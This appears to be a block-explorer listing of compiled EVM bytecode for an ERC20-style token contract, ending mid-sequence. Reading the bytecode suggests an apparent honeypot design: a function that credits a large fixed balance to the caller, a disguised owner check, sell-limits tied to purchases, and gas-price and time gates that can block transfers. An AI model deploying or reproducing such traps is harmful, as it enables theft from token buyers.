ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110176114d8565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6110a56114d8565b80600f8190555050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61112c6114d8565b6064821115801561113e575060648111155b61117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490612a85565b60405180910390fd5b81600b8190555080600c819055505050565b611197611dcb565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612b17565b60405180910390fd5b61120f81611e42565b50565b61121a6114d8565b61124730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361130f565b6112513082610d2b565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426112a5919061286a565b6040518863ffffffff1660e01b81526004016112c696959493929190612b7c565b60606040518083038185885af11580156112e4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113099190612bf2565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612cb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e490612d49565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114cb91906124d8565b60405180910390a3505050565b60006114ea6114e5611f2b565b611f06565b90506114f881601354611f33565b50565b60006115078484610f88565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115815781811015611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90612db5565b60405180910390fd5b611580848484840361130f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90612e47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90612ed9565b60405180910390fd5b611670838383611f85565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90612f6b565b60405180910390fd5b61170084610b3e565b158015611713575061171183610b3e565b155b15611caf5761172184612204565b1561195b57600061173483600b546122b6565b905082826117429190612f8b565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836117919190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117df919061286a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866118419190612f8b565b60405161184e91906124d8565b60405180910390a38060046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118c7919061286a565b92505081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161194d91906124d8565b60405180910390a350611caa565b61196483612204565b15611b9e57600061197783600c546122b6565b905082826119859190612f8b565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836119d49190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a22919061286a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611a849190612f8b565b604051611a9191906124d8565b60405180910390a38060046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b0a919061286a565b92505081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b9091906124d8565b60405180910390a350611ca9565b8181611baa9190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3c919061286a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca091906124d8565b60405180910390a35b5b611dba565b8181611cbb9190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d4d919061286a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611db191906124d8565b60405180910390a35b611dc58484846122d8565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16611dea610bb4565b73ffffffffffffffffffffffffffffffffffffffff1614611e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e379061300b565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808290508073ffffffffffffffffffffffffffffffffffffffff16915050919050565b600033905090565b60018183611f41919061305a565b14611f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f78906130d7565b60405180910390fd5b5050565b611f8e83612204565b1561201c5780600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61202582612204565b156121ff57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121fe5780600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156120fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f490613169565b60405180910390fd5b80600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461214c9190612f8b565b9250508190555061215b610b0d565b156121eb576121ab600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f546122dd565b6121ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e1906131d5565b60405180910390fd5b5b6121f36122f6565b156121fd57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806122af5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846122c691906131f5565b6122d0919061305a565b905092915050565b505050565b60004282846122ec919061286a565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561233d578082015181840152602081019050612322565b60008484015250505050565b6000601f19601f8301169050919050565b600061236582612303565b61236f818561230e565b935061237f81856020860161231f565b61238881612349565b840191505092915050565b600060208201905081810360008301526123ad818461235a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123ea826123bf565b9050919050565b6123fa816123df565b811461240557600080fd5b50565b600081359050612417816123f1565b92915050565b6000819050919050565b6124308161241d565b811461243b57600080fd5b50565b60008135905061244d81612427565b92915050565b6000806040838503121561246a576124696123b5565b5b600061247885828601612408565b92505060206124898582860161243e565b9150509250929050565b60008115159050919050565b6124a881612493565b82525050565b60006020820190506124c3600083018461249f565b92915050565b6124d28161241d565b82525050565b60006020820190506124ed60008301846124c9565b92915050565b600060208284031215612509576125086123b5565b5b60006125178482850161243e565b91505092915050565b600080600060608486031215612539576125386123b5565b5b600061254786828701612408565b935050602061255886828701612408565b92505060406125698682870161243e565b9150509250925092565b600060ff82169050919050565b61258981612573565b82525050565b60006020820190506125a46000830184612580565b92915050565b60006040820190506125bf60008301856124c9565b6125cc60208301846124c9565b9392505050565b6000602082840312156125e9576125e86123b5565b5b60006125f784828501612408565b91505092915050565b612609816123df565b82525050565b60006020820190506126246000830184612600565b92915050565b61263381612493565b811461263e57600080fd5b50565b6000813590506126508161262a565b92915050565b6000806040838503121561266d5761266c6123b5565b5b600061267b85828601612408565b925050602061268c85828601612641565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126126bb576126ba612696565b5b8235905067ffffffffffffffff8111156126d8576126d761269b565b5b6020830191508360208202830111156126f4576126f36126a0565b5b9250929050565b600080600060408486031215612714576127136123b5565b5b600084013567ffffffffffffffff811115612732576127316123ba565b5b61273e868287016126a5565b9350935050602061275186828701612641565b9150509250925092565b60008060408385031215612772576127716123b5565b5b600061278085828601612408565b925050602061279185828601612408565b9150509250929050565b600080604083850312156127b2576127b16123b5565b5b60006127c08582860161243e565b92505060206127d18582860161243e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061282257607f821691505b602082108103612835576128346127db565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128758261241d565b91506128808361241d565b92508282019050808211156128985761289761283b565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006128fa60258361230e565b91506129058261289e565b604082019050919050565b60006020820190508181036000830152612929816128ed565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000612966601d8361230e565b915061297182612930565b602082019050919050565b6000602082019050818103600083015261299581612959565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006129d68261241d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a0857612a0761283b565b5b600182019050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2030000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a6f60228361230e565b9150612a7a82612a13565b604082019050919050565b60006020820190508181036000830152612a9e81612a62565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612b0160268361230e565b9150612b0c82612aa5565b604082019050919050565b60006020820190508181036000830152612b3081612af4565b9050919050565b6000819050919050565b6000819050919050565b6000612b66612b61612b5c84612b37565b612b41565b61241d565b9050919050565b612b7681612b4b565b82525050565b600060c082019050612b916000830189612600565b612b9e60208301886124c9565b612bab6040830187612b6d565b612bb86060830186612b6d565b612bc56080830185612600565b612bd260a08301846124c9565b979650505050505050565b600081519050612bec81612427565b92915050565b600080600060608486031215612c0b57612c0a6123b5565b5b6000612c1986828701612bdd565b9350506020612c2a86828701612bdd565b9250506040612c3b86828701612bdd565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ca160248361230e565b9150612cac82612c45565b604082019050919050565b60006020820190508181036000830152612cd081612c94565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d3360228361230e565b9150612d3e82612cd7565b604082019050919050565b60006020820190508181036000830152612d6281612d26565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612d9f601d8361230e565b9150612daa82612d69565b602082019050919050565b60006020820190508181036000830152612dce81612d92565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e3160258361230e565b9150612e3c82612dd5565b604082019050919050565b60006020820190508181036000830152612e6081612e24565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612ec360238361230e565b9150612ece82612e67565b604082019050919050565b60006020820190508181036000830152612ef281612eb6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612f5560268361230e565b9150612f6082612ef9565b604082019050919050565b60006020820190508181036000830152612f8481612f48565b9050919050565b6000612f968261241d565b9150612fa18361241d565b9250828203905081811115612fb957612fb861283b565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff560208361230e565b915061300082612fbf565b602082019050919050565b6000602082019050818103600083015261302481612fe8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006130658261241d565b91506130708361241d565b9250826130805761307f61302b565b5b828204905092915050565b7f446576696465206661696c656400000000000000000000000000000000000000600082015250565b60006130c1600d8361230e565b91506130cc8261308b565b602082019050919050565b600060208201905081810360008301526130f0816130b4565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b600061315360288361230e565b915061315e826130f7565b604082019050919050565b6000602082019050818103600083015261318281613146565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b60006131bf60208361230e565b91506131ca82613189565b602082019050919050565b600060208201905081810360008301526131ee816131b2565b9050919050565b60006132008261241d565b915061320b8361241d565b92508282026132198161241d565b915082820484148315176132305761322f61283b565b5b509291505056fea2646970667358221220bb0911f1e4955ca1ce3f21651ea8b5105fcf82368a53408bb98d735491f575bd64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x60806040526004361061020f5760003560e01c80638da5cb5b11610118578063dd62ed3e116100a0578063e3bbb4f11161006f578063e3bbb4f1146107d6578063e4440a8614610801578063f079ef6c1461082c578063f2fde38b14610855578063f53d9d581461087e5761020f565b8063dd62ed3e1461070a578063e1b7cebd14610747578063e1e6bc0414610770578063e21214f3146107995761020f565b8063a9059cbb116100e7578063a9059cbb14610601578063b96c6c9f1461063e578063bfa3b38e14610667578063ccb28773146106a4578063d1a039f0146106cd5761020f565b80638da5cb5b1461054557806395d89b41146105705780639bea500a1461059b578063a457c2d7146105c45761020f565b8063522bc6de1161019b578063715018a61161016a578063715018a6146104605780637272eea1146104775780637f09b21a146104a257806383ca392b146104cb57806385ecafd7146105085761020f565b8063522bc6de146103a357806354765597146103ce5780637051e1e7146103fa57806370a08231146104235761020f565b80631ac71fe6116101e25780631ac71fe6146102be57806323b872dd146102e75780632b03914414610324578063313ce5671461033b57806339509351146103665761020f565b806306fdde0314610214578063095ea7b31461023f57806318160ddd1461027c5780631998aeef146102a7575b600080fd5b34801561022057600080fd5b5061022961089a565b6040516102369190612393565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612453565b61092c565b60405161027391906124ae565b60405180910390f35b34801561028857600080fd5b50610291610948565b60405161029e91906124d8565b60405180910390f35b3480156102b357600080fd5b506102bc610952565b005b3480156102ca57600080fd5b506102e560048036038101906102e091906124f3565b610986565b005b3480156102f357600080fd5b5061030e60048036038101906103099190612520565b610998565b60405161031b91906124ae565b60405180910390f35b34801561033057600080fd5b506103396109c0565b005b34801561034757600080fd5b50610350610a2e565b60405161035d919061258f565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612453565b610a45565b60405161039a91906124ae565b60405180910390f35b3480156103af57600080fd5b506103b8610a75565b6040516103c591906124d8565b60405180910390f35b3480156103da57600080fd5b506103e3610a7b565b6040516103f19291906125aa565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906124f3565b610a8c565b005b34801561042f57600080fd5b5061044a600480360381019061044591906125d3565b610ab0565b60405161045791906124d8565b60405180910390f35b34801561046c57600080fd5b50610475610af9565b005b34801561048357600080fd5b5061048c610b0d565b60405161049991906124ae565b60405180910390f35b3480156104ae57600080fd5b506104c960048036038101906104c491906125d3565b610b24565b005b3480156104d757600080fd5b506104f260048036038101906104ed91906125d3565b610b3e565b6040516104ff91906124ae565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a91906125d3565b610b94565b60405161053c91906124ae565b60405180910390f35b34801561055157600080fd5b5061055a610bb4565b604051610567919061260f565b60405180910390f35b34801561057c57600080fd5b50610585610bdd565b6040516105929190612393565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd91906125d3565b610c6f565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190612453565b610cbb565b6040516105f891906124ae565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612453565b610d2b565b60405161063591906124ae565b60405180910390f35b34801561064a57600080fd5b5061066560048036038101906106609190612656565b610d47565b005b34801561067357600080fd5b5061068e600480360381019061068991906125d3565b610e3c565b60405161069b91906124ae565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c691906126fb565b610e92565b005b3480156106d957600080fd5b506106f460048036038101906106ef91906125d3565b610f3f565b60405161070191906124d8565b60405180910390f35b34801561071657600080fd5b50610731600480360381019061072c919061275b565b610f88565b60405161073e91906124d8565b60405180910390f35b34801561075357600080fd5b5061076e6004803603810190610769919061275b565b61100f565b005b34801561077c57600080fd5b50610797600480360381019061079291906124f3565b61109d565b005b3480156107a557600080fd5b506107c060048036038101906107bb91906125d3565b6110af565b6040516107cd91906124d8565b60405180910390f35b3480156107e257600080fd5b506107eb6110f8565b6040516107f891906124d8565b60405180910390f35b34801561080d57600080fd5b506108166110fe565b604051610823919061260f565b60405180910390f35b34801561083857600080fd5b50610853600480360381019061084e919061279b565b611124565b005b34801561086157600080fd5b5061087c600480360381019061087791906125d3565b61118f565b005b610898600480360381019061089391906124f3565b611212565b005b6060600780546108a99061280a565b80601f01602080910402602001604051908101604052809291908181526020018280546108d59061280a565b80156109225780601f106108f757610100808354040283529160200191610922565b820191906000526020600020905b81548152906001019060200180831161090557829003601f168201915b5050505050905090565b60008033905061093d81858561130f565b600191505092915050565b6000600654905090565b61095a6114d8565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b61098e6114d8565b80600a8190555050565b6000803390506109a98582856114fb565b6109b4858585611587565b60019150509392505050565b6109c86114d8565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a25919061286a565b92505081905550565b6000600960009054906101000a900460ff16905090565b600080339050610a6a818585610a5b8589610f88565b610a65919061286a565b61130f565b600191505092915050565b60135481565b600080600b54600c54915091509091565b610a946114d8565b8060066000828254610aa6919061286a565b9250508190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b01611dcb565b610b0b6000611e42565b565b6000601460009054906101000a900460ff16905090565b610b2c6114d8565b610b3581611f06565b60138190555050565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60126020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610bec9061280a565b80601f0160208091040260200160405190810160405280929190818152602001828054610c189061280a565b8015610c655780601f10610c3a57610100808354040283529160200191610c65565b820191906000526020600020905b815481529060010190602001808311610c4857829003601f168201915b5050505050905090565b610c776114d8565b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000803390506000610ccd8286610f88565b905083811015610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990612910565b60405180910390fd5b610d1f828686840361130f565b60019250505092915050565b600080339050610d3c818585611587565b600191505092915050565b610d4f6114d8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd89061297c565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e9a6114d8565b60005b83839050811015610f39578160106000868685818110610ec057610ebf61299c565b5b9050602002016020810190610ed591906125d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f31906129cb565b915050610e9d565b50505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110176114d8565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6110a56114d8565b80600f8190555050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61112c6114d8565b6064821115801561113e575060648111155b61117d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117490612a85565b60405180910390fd5b81600b8190555080600c819055505050565b611197611dcb565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd90612b17565b60405180910390fd5b61120f81611e42565b50565b61121a6114d8565b61124730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361130f565b6112513082610d2b565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426112a5919061286a565b6040518863ffffffff1660e01b81526004016112c696959493929190612b7c565b60606040518083038185885af11580156112e4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113099190612bf2565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612cb7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e490612d49565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114cb91906124d8565b60405180910390a3505050565b60006114ea6114e5611f2b565b611f06565b90506114f881601354611f33565b50565b60006115078484610f88565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146115815781811015611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90612db5565b60405180910390fd5b611580848484840361130f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ed90612e47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90612ed9565b60405180910390fd5b611670838383611f85565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90612f6b565b60405180910390fd5b61170084610b3e565b158015611713575061171183610b3e565b155b15611caf5761172184612204565b1561195b57600061173483600b546122b6565b905082826117429190612f8b565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836117919190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117df919061286a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866118419190612f8b565b60405161184e91906124d8565b60405180910390a38060046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118c7919061286a565b92505081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161194d91906124d8565b60405180910390a350611caa565b61196483612204565b15611b9e57600061197783600c546122b6565b905082826119859190612f8b565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836119d49190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a22919061286a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611a849190612f8b565b604051611a9191906124d8565b60405180910390a38060046000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b0a919061286a565b92505081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b9091906124d8565b60405180910390a350611ca9565b8181611baa9190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3c919061286a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca091906124d8565b60405180910390a35b5b611dba565b8181611cbb9190612f8b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d4d919061286a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161